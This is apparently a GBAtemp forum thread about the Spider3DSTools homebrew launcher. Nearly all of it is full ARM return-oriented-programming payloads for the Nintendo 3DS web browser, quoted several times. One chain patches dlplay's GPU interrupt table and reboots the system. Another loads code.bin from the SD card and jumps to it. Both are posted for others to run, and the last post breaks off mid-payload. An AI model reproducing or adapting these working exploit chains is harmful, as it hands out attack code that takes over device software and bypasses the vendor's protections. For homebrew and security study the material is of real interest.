Homebrew [Custom Launcher] Spider3DSTools released

  • Thread starter Thread starter Lord Prime
  • Start date Start date
  • Views Views 156,561
  • Replies Replies 748
  • Likes Likes 17
Managed to shrink RegionThree ROP into 544 bytes. Kinda spagetti code, but it works:
Code:
	.arm
	.text

@define constants
#define DLPLAY_CODE_LOC_VA		0x00192800
#define DLPLAY_CODE_LOC			(DLPLAY_CODE_LOC_VA-0x00100000+0x03F50000+0x14000000)
#define DLPLAY_HOOK_LOC			(0x03FF3500+0x14000000)
#define DLPLAY_NSSHANDLE_LOC_VA		0x001A5200

#define SPIDER_GSPHEAPBUF		0x18370000
#define SPIDER_ROP_LOC			0x08B88400

	.global	_start
spiderRop:
	@copy code to dlplay
		@copy patch
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word SPIDER_GSPHEAPBUF @ r0 (dst)
				.word SPIDER_ROP_LOC+dlplayCode @ r1 (src)
				.word dlplayCode_end-dlplayCode @ r2 (size)
				.word 0xDEADC0DE @ r3 (garbage)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x00240B54 @ memcpy (ends in LDMFD   SP!, {R4-R10,LR})
gxCommand:
@ copy code stub to end of dlplay .text
				.word 0x00000004 @ r4 (garbage)/ command header (SetTextureCopy)
				.word SPIDER_GSPHEAPBUF @ r5 (garbage)/gx source address
				.word DLPLAY_CODE_LOC @ r6 (garbage)/gx destination address
				.word 0x200 @ r7 (garbage)/gx size
				.word 0xFFFFFFFF @ r8 (garbage)/gx dim in
				.word 0xFFFFFFFF @ r9 (garbage)/gx dim out
				.word 0x00000008 @ r10 (garbage)/gx flags

		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc} / gx unused
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		[USER=68715]sleep[/USER] for a bit
			.word 0x0010c2fc @ pop {r0, pc}
				.word 500000000 @ r0 (half second)
			.word 0x00228af4 @ pop {r1, pc}
				.word 0x00000000 @ r1 (nothing)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x001041f8 @ svc 0xa | bx lr

	@copy gsp interrupt handler table to linear heap
		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand2 @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		[USER=68715]sleep[/USER] for a bit
			.word 0x0010c2fc @ pop {r0, pc}
				.word 500000000 @ r0 (half second)
			.word 0x00228af4 @ pop {r1, pc}
				.word 0x00000000 @ r1 (nothing)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x001041f8 @ svc 0xa | bx lr

		@ needed for ROP
			.word 0x0010C2FC @ pop {r0, pc}
				.word SPIDER_ROP_LOC+0x8C @ r0 InitData 1

	@copy gsp interrupt handler table back to dlplay after patching it
		@patch table
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word SPIDER_GSPHEAPBUF+0x90 @ r0 (dst)
				.word SPIDER_ROP_LOC+dlplayHook @ r1 (src)
				.word dlplayHook_end-dlplayHook @ r2 (size)
				.word 0xDEADC0DE @ r3 (garbage)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x00240B54 @ memcpy (ends in LDMFD   SP!, {R4-R10,LR})
gxCommand3:
	@ copy gsp interrupt handler ptr table back to dplay for spider linear heap
				.word 0x00000004 @ r4 (garbage)/gx command header (SetTextureCopy)
				.word SPIDER_GSPHEAPBUF @ r5 (garbage)/gx source address
				.word DLPLAY_HOOK_LOC @ r6 (garbage)/gx destination address
				.word 0x200 @ r7 (garbage)/gx size
				.word 0xFFFFFFFF @ r8 (garbage)/gx dim in
				.word SPIDER_ROP_LOC @ r9 (garbage)/gx dim out (unused?) / InitData 2
				.word 0x00000008 @ r10 (garbage)/gx flags

			.word 0x001057C4 @ POP {PC} (needed for rop) InitData 4 / gx unused

		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@ needed for ROP
			.word 0x0010C2FC @ pop {r0, pc} (needed for rop) InitData 5
				.word SPIDER_ROP_LOC+0x218 @ r0 (needed for rop) InitData 6

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand3 @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		@trigger spider crash to return to menu
			.word 0xFFFFFFFF

	dlplayCode:
		ldr r0, =DLPLAY_NSSHANDLE_LOC_VA @ ns:s handle location
		ldr r0, [r0]

		mrc p15, 0, r1, c13, c0, 3
		add r1, #0x80
		ldr r2, =0x00100180 @ NSS:RebootSystem
		str r2, [r1], #4
		ldr r2, =0x00000001 @ flag
		str r2, [r1], #4
		ldr r2, =0x00000000 @ lower word PID (0 for gamecard)
		str r2, [r1], #4
		ldr r2, =0x00000000 @ upper word PID
		str r2, [r1], #4
		ldr r2, =0x00000002 @ mediatype (2 for gamecard)
		str r2, [r1], #4
		ldr r2, =0x00000000 @ reserved
		str r2, [r1], #4
		ldr r2, =0x00000000 @ flag
		str r2, [r1], #4

		.word 0xef000032 @ svc 0x32 (sendsyncrequest)

		[USER=68715]sleep[/USER] forever and ever...
		ldr r0, =0xFFFFFFFF
		ldr r1, =0x0FFFFFFF
		.word 0xef00000a @ svc 0xa (sleep)

		.pool
	dlplayCode_end:
	dlplayHook:
		.fill 6, 4, DLPLAY_CODE_LOC_VA
	dlplayHook_end:
	myself:
		.word SPIDER_ROP_LOC+myself @ Self 1
	gxCommand2:
	@ copy gsp interrupt handler ptr table to spider linear heap
		.word 0x00000004 @command header (SetTextureCopy)
		.word DLPLAY_HOOK_LOC [USER=64882]source[/USER] address
		.word SPIDER_GSPHEAPBUF @destination address
		.word 0x200 @size
		.word 0x00000000 @ dim in
		.word 0x00000000 @ dim out
		.word 0x00000008 @ flags
		.word 0x00000000 @ unused

		.word 0x00130344 @ Self 3
 
Managed to shrink RegionThree ROP into 544 bytes. Kinda spagetti code, but it works:
Code:
	.arm
	.text

@define constants
#define DLPLAY_CODE_LOC_VA		0x00192800
#define DLPLAY_CODE_LOC			(DLPLAY_CODE_LOC_VA-0x00100000+0x03F50000+0x14000000)
#define DLPLAY_HOOK_LOC			(0x03FF3500+0x14000000)
#define DLPLAY_NSSHANDLE_LOC_VA		0x001A5200

#define SPIDER_GSPHEAPBUF		0x18370000
#define SPIDER_ROP_LOC			0x08B88400

	.global	_start
spiderRop:
	@copy code to dlplay
		@copy patch
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word SPIDER_GSPHEAPBUF @ r0 (dst)
				.word SPIDER_ROP_LOC+dlplayCode @ r1 (src)
				.word dlplayCode_end-dlplayCode @ r2 (size)
				.word 0xDEADC0DE @ r3 (garbage)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x00240B54 @ memcpy (ends in LDMFD   SP!, {R4-R10,LR})
gxCommand:
@ copy code stub to end of dlplay .text
				.word 0x00000004 @ r4 (garbage)/ command header (SetTextureCopy)
				.word SPIDER_GSPHEAPBUF @ r5 (garbage)/gx source address
				.word DLPLAY_CODE_LOC @ r6 (garbage)/gx destination address
				.word 0x200 @ r7 (garbage)/gx size
				.word 0xFFFFFFFF @ r8 (garbage)/gx dim in
				.word 0xFFFFFFFF @ r9 (garbage)/gx dim out
				.word 0x00000008 @ r10 (garbage)/gx flags

		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc} / gx unused
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		[USER=68715]sleep[/USER] for a bit
			.word 0x0010c2fc @ pop {r0, pc}
				.word 500000000 @ r0 (half second)
			.word 0x00228af4 @ pop {r1, pc}
				.word 0x00000000 @ r1 (nothing)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x001041f8 @ svc 0xa | bx lr

	@copy gsp interrupt handler table to linear heap
		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand2 @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		[USER=68715]sleep[/USER] for a bit
			.word 0x0010c2fc @ pop {r0, pc}
				.word 500000000 @ r0 (half second)
			.word 0x00228af4 @ pop {r1, pc}
				.word 0x00000000 @ r1 (nothing)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x001041f8 @ svc 0xa | bx lr

		@ needed for ROP
			.word 0x0010C2FC @ pop {r0, pc}
				.word SPIDER_ROP_LOC+0x8C @ r0 InitData 1

	@copy gsp interrupt handler table back to dlplay after patching it
		@patch table
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word SPIDER_GSPHEAPBUF+0x90 @ r0 (dst)
				.word SPIDER_ROP_LOC+dlplayHook @ r1 (src)
				.word dlplayHook_end-dlplayHook @ r2 (size)
				.word 0xDEADC0DE @ r3 (garbage)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x00240B54 @ memcpy (ends in LDMFD   SP!, {R4-R10,LR})
gxCommand3:
	@ copy gsp interrupt handler ptr table back to dplay for spider linear heap
				.word 0x00000004 @ r4 (garbage)/gx command header (SetTextureCopy)
				.word SPIDER_GSPHEAPBUF @ r5 (garbage)/gx source address
				.word DLPLAY_HOOK_LOC @ r6 (garbage)/gx destination address
				.word 0x200 @ r7 (garbage)/gx size
				.word 0xFFFFFFFF @ r8 (garbage)/gx dim in
				.word SPIDER_ROP_LOC @ r9 (garbage)/gx dim out (unused?) / InitData 2
				.word 0x00000008 @ r10 (garbage)/gx flags

			.word 0x001057C4 @ POP {PC} (needed for rop) InitData 4 / gx unused

		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@ needed for ROP
			.word 0x0010C2FC @ pop {r0, pc} (needed for rop) InitData 5
				.word SPIDER_ROP_LOC+0x218 @ r0 (needed for rop) InitData 6

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand3 @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		@trigger spider crash to return to menu
			.word 0xFFFFFFFF

	dlplayCode:
		ldr r0, =DLPLAY_NSSHANDLE_LOC_VA @ ns:s handle location
		ldr r0, [r0]

		mrc p15, 0, r1, c13, c0, 3
		add r1, #0x80
		ldr r2, =0x00100180 @ NSS:RebootSystem
		str r2, [r1], #4
		ldr r2, =0x00000001 @ flag
		str r2, [r1], #4
		ldr r2, =0x00000000 @ lower word PID (0 for gamecard)
		str r2, [r1], #4
		ldr r2, =0x00000000 @ upper word PID
		str r2, [r1], #4
		ldr r2, =0x00000002 @ mediatype (2 for gamecard)
		str r2, [r1], #4
		ldr r2, =0x00000000 @ reserved
		str r2, [r1], #4
		ldr r2, =0x00000000 @ flag
		str r2, [r1], #4

		.word 0xef000032 @ svc 0x32 (sendsyncrequest)

		[USER=68715]sleep[/USER] forever and ever...
		ldr r0, =0xFFFFFFFF
		ldr r1, =0x0FFFFFFF
		.word 0xef00000a @ svc 0xa (sleep)

		.pool
	dlplayCode_end:
	dlplayHook:
		.fill 6, 4, DLPLAY_CODE_LOC_VA
	dlplayHook_end:
	myself:
		.word SPIDER_ROP_LOC+myself @ Self 1
	gxCommand2:
	@ copy gsp interrupt handler ptr table to spider linear heap
		.word 0x00000004 @command header (SetTextureCopy)
		.word DLPLAY_HOOK_LOC [USER=64882]source[/USER] address
		.word SPIDER_GSPHEAPBUF @destination address
		.word 0x200 @size
		.word 0x00000000 @ dim in
		.word 0x00000000 @ dim out
		.word 0x00000008 @ flags
		.word 0x00000000 @ unused

		.word 0x00130344 @ Self 3
Cool. Is it sopposed to say [user]flush or flush, is gbatemp just messing up?
 
  • Like
Reactions: WulfyStylez
N00b question here. What is the point of "svcSleepThread". Because it seems to make a difference as to whether my program crashes
 
Managed to shrink RegionThree ROP into 544 bytes. Kinda spagetti code, but it works:
Code:
	.arm
	.text

@define constants
#define DLPLAY_CODE_LOC_VA		0x00192800
#define DLPLAY_CODE_LOC			(DLPLAY_CODE_LOC_VA-0x00100000+0x03F50000+0x14000000)
#define DLPLAY_HOOK_LOC			(0x03FF3500+0x14000000)
#define DLPLAY_NSSHANDLE_LOC_VA		0x001A5200

#define SPIDER_GSPHEAPBUF		0x18370000
#define SPIDER_ROP_LOC			0x08B88400

	.global	_start
spiderRop:
	@copy code to dlplay
		@copy patch
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word SPIDER_GSPHEAPBUF @ r0 (dst)
				.word SPIDER_ROP_LOC+dlplayCode @ r1 (src)
				.word dlplayCode_end-dlplayCode @ r2 (size)
				.word 0xDEADC0DE @ r3 (garbage)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x00240B54 @ memcpy (ends in LDMFD   SP!, {R4-R10,LR})
gxCommand:
@ copy code stub to end of dlplay .text
				.word 0x00000004 @ r4 (garbage)/ command header (SetTextureCopy)
				.word SPIDER_GSPHEAPBUF @ r5 (garbage)/gx source address
				.word DLPLAY_CODE_LOC @ r6 (garbage)/gx destination address
				.word 0x200 @ r7 (garbage)/gx size
				.word 0xFFFFFFFF @ r8 (garbage)/gx dim in
				.word 0xFFFFFFFF @ r9 (garbage)/gx dim out
				.word 0x00000008 @ r10 (garbage)/gx flags

		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc} / gx unused
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		[USER=68715]sleep[/USER] for a bit
			.word 0x0010c2fc @ pop {r0, pc}
				.word 500000000 @ r0 (half second)
			.word 0x00228af4 @ pop {r1, pc}
				.word 0x00000000 @ r1 (nothing)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x001041f8 @ svc 0xa | bx lr

	@copy gsp interrupt handler table to linear heap
		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand2 @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		[USER=68715]sleep[/USER] for a bit
			.word 0x0010c2fc @ pop {r0, pc}
				.word 500000000 @ r0 (half second)
			.word 0x00228af4 @ pop {r1, pc}
				.word 0x00000000 @ r1 (nothing)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x001041f8 @ svc 0xa | bx lr

		@ needed for ROP
			.word 0x0010C2FC @ pop {r0, pc}
				.word SPIDER_ROP_LOC+0x8C @ r0 InitData 1

	@copy gsp interrupt handler table back to dlplay after patching it
		@patch table
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word SPIDER_GSPHEAPBUF+0x90 @ r0 (dst)
				.word SPIDER_ROP_LOC+dlplayHook @ r1 (src)
				.word dlplayHook_end-dlplayHook @ r2 (size)
				.word 0xDEADC0DE @ r3 (garbage)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x00240B54 @ memcpy (ends in LDMFD   SP!, {R4-R10,LR})
gxCommand3:
	@ copy gsp interrupt handler ptr table back to dplay for spider linear heap
				.word 0x00000004 @ r4 (garbage)/gx command header (SetTextureCopy)
				.word SPIDER_GSPHEAPBUF @ r5 (garbage)/gx source address
				.word DLPLAY_HOOK_LOC @ r6 (garbage)/gx destination address
				.word 0x200 @ r7 (garbage)/gx size
				.word 0xFFFFFFFF @ r8 (garbage)/gx dim in
				.word SPIDER_ROP_LOC @ r9 (garbage)/gx dim out (unused?) / InitData 2
				.word 0x00000008 @ r10 (garbage)/gx flags

			.word 0x001057C4 @ POP {PC} (needed for rop) InitData 4 / gx unused

		[USER=273536]flush[/USER] data cache
			.word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
				.word 0x003DA72C @ r0 (handle ptr)
				.word 0xFFFF8001 @ r1 (kprocess handle)
				.word SPIDER_GSPHEAPBUF  @ r2 (address)
				.word 0x00000200 @ r3 (size)
				.word 0xDEADC0DE @ r4 (garbage)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012c1e0 @ GSPGPU_FlushDataCache

		@ needed for ROP
			.word 0x0010C2FC @ pop {r0, pc} (needed for rop) InitData 5
				.word SPIDER_ROP_LOC+0x218 @ r0 (needed for rop) InitData 6

		@send GX command
			.word 0x0010c2fc @ pop {r0, pc}
				.word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
			.word 0x00228af4 @ pop {r1, pc}
				.word SPIDER_ROP_LOC+gxCommand3 @ r1 (cmd addr)
			.word 0x0013035C @ pop {lr, pc}
				.word 0x001057c4 @ lr (pop {pc})
			.word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue

		@trigger spider crash to return to menu
			.word 0xFFFFFFFF

	dlplayCode:
		ldr r0, =DLPLAY_NSSHANDLE_LOC_VA @ ns:s handle location
		ldr r0, [r0]

		mrc p15, 0, r1, c13, c0, 3
		add r1, #0x80
		ldr r2, =0x00100180 @ NSS:RebootSystem
		str r2, [r1], #4
		ldr r2, =0x00000001 @ flag
		str r2, [r1], #4
		ldr r2, =0x00000000 @ lower word PID (0 for gamecard)
		str r2, [r1], #4
		ldr r2, =0x00000000 @ upper word PID
		str r2, [r1], #4
		ldr r2, =0x00000002 @ mediatype (2 for gamecard)
		str r2, [r1], #4
		ldr r2, =0x00000000 @ reserved
		str r2, [r1], #4
		ldr r2, =0x00000000 @ flag
		str r2, [r1], #4

		.word 0xef000032 @ svc 0x32 (sendsyncrequest)

		[USER=68715]sleep[/USER] forever and ever...
		ldr r0, =0xFFFFFFFF
		ldr r1, =0x0FFFFFFF
		.word 0xef00000a @ svc 0xa (sleep)

		.pool
	dlplayCode_end:
	dlplayHook:
		.fill 6, 4, DLPLAY_CODE_LOC_VA
	dlplayHook_end:
	myself:
		.word SPIDER_ROP_LOC+myself @ Self 1
	gxCommand2:
	@ copy gsp interrupt handler ptr table to spider linear heap
		.word 0x00000004 @command header (SetTextureCopy)
		.word DLPLAY_HOOK_LOC [USER=64882]source[/USER] address
		.word SPIDER_GSPHEAPBUF @destination address
		.word 0x200 @size
		.word 0x00000000 @ dim in
		.word 0x00000000 @ dim out
		.word 0x00000008 @ flags
		.word 0x00000000 @ unused

		.word 0x00130344 @ Self 3
Hey, what's that value for media type, states to use gamecart? Can this be used to redirect to something else? Say sd or wifi? I think you know where I'm going with this.
 
I've been playing with the LoadCode ROP payload and at least in my 3ds, only 6 of the 10 values of InitData are required for letting the exploit work, here is the updated payload, feel free to try it and post results.

Code:
    .arm
    .text
 
#define SELF_LOC 0x08B88400
#define BUFFER_LOC 0x18410000
#define CODE_SIZE 0x00004000
#define CODE_TARGET 0x19592000
#define CODE_JUMP 0x009D2000
 
    .global    _start
@---------------------------------------------------------------------------------
_start:
    @ mount SD
        .word 0x0010C2FC @ LDMFD  SP!, {R0,PC}
            .word 0x001050B3 @ R0 = "dmc:"
        .word 0x0019CA34 @ FS_MOUNTSDMC(), then LDMFD  SP!, {R3-R5,PC}
            .word 0xDEADBEEF @ R3, dummy
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R5, dummy
    @ open file
        .word 0x001946EB @ POP    {R0-R4,R7,PC}
            .word 0x08F10000 @ R0 = this
            .word SELF_LOC+FileName @ R1 = filename
            .word 0x00000001 @ R2 = permission
            .word 0xDEADBEEF @ R3, dummy
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R7, dummy
        .word 0x0022FE0C @ IFile_Open(), then LDMFD  SP!, {R4-R7,PC}
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R5, dummy
            .word 0xDEADBEEF @ R6, dummy
            .word 0xDEADBEEF @ R7, dummy
        .word 0x001057C4 @ POP {PC}
    @ read payload
        .word 0x001946EB @ POP    {R0-R4,R7,PC}
            .word 0x08F10000 @ R0 = this
            .word 0x08F10020 @ R1 = total_read
            .word BUFFER_LOC @ R2 = buffer
            .word CODE_SIZE @ R3 = size
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R7, dummy
        .word 0x001686E0 @ IFile_Read, then LDMFD  SP!, {R4-R9,PC}
            .word 0xDEADBEEF @ R4, dummy
            .word 0xDEADBEEF @ R5, dummy
            .word 0xDEADBEEF @ R6, dummy
            .word 0xDEADBEEF @ R7, dummy
            .word 0xDEADBEEF @ R8, dummy
            .word 0xDEADBEEF @ R9, dummy
    @ flush data cache
        .word 0x0010b5b4 @ pop {r0, r1, r2, r3, r4, pc}
            .word 0x003DA72C @ r0 (handle ptr)
            .word 0xFFFF8001 @ r1 (kprocess handle)
            .word BUFFER_LOC  @ r2 (address)
            .word CODE_SIZE @ r3 (size)
            .word 0xDEADC0DE @ r4 (garbage)
        .word 0x0013035C @ pop {lr, pc}
            .word 0x001057c4 @ lr (pop {pc})
        .word 0x0012c1e0 @ GSPGPU_FlushDataCache
    @ send GX command
        .word 0x0010c2fc @ pop {r0, pc}
            .word 0x3D7C40+0x58 @ r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
        .word 0x00228af4 @ pop {r1, pc}
            .word SELF_LOC+gxCommand @ r1 (cmd addr)
        .word 0x0013035C @ pop {lr, pc}
            .word 0x001057c4 @ lr (pop {pc})
        .word 0x0012BF04 @ nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
    @ sleep for a bit
        .word 0x0010c2fc @ pop {r0, pc}
            .word 0x3B9ACA00 @ r0 (one second)
        .word 0x00228af4 @ pop {r1, pc}
            .word 0x00000000 @ r1 (nothing)
        .word 0x0013035C @ pop {lr, pc}
            .word 0x001057c4 @ lr (pop {pc})
        .word 0x001041f8 @ svc 0xa | bx lr
    @ jump to code
        .word CODE_JUMP
 
@ Data required for spider rop to work
InitData:
    .word 0, 0, 0, 0, SELF_LOC+_start+0x8C, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, SELF_LOC+_start, 0, 0x001057C4, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0x0010C2FC, SELF_LOC+_start+0x218, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00130344, 0, 0, 0, 0, 0
 
    .align 2
gxCommand:
    .word 0x00000004 @ command header (SetTextureCopy)
    .word BUFFER_LOC @ source address
    .word CODE_TARGET @ destination address
    .word CODE_SIZE @ size
    .word 0xFFFFFFFF @ dim in
    .word 0xFFFFFFFF @ dim out
    .word 0x00000008 @ flags
    .word 0x00000000 @ unused
 
    .align 2
FileName:
    .string16 "dmc:/code.bin"
 
    .align 2
@ Padding
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    .word 0, 0, 0, 0
 
I've been playing with the LoadCode ROP payload and at least in my 3ds, only 6 of the 10 values of InitData are required for letting the exploit work, here is the updated payload, feel free to try it and post results.

Code:
    .arm
    .text
 
#define SELF_LOC 0x08B88400
#define BUFFER_LOC 0x18410000
#define CODE_SIZE 0x00004000
#define CODE_TARGET 0x19592000
#define CODE_JUMP 0x009D2000
 
    .global    _start
@---------------------------------------------------------------------------------
_start:
    @ mount SD
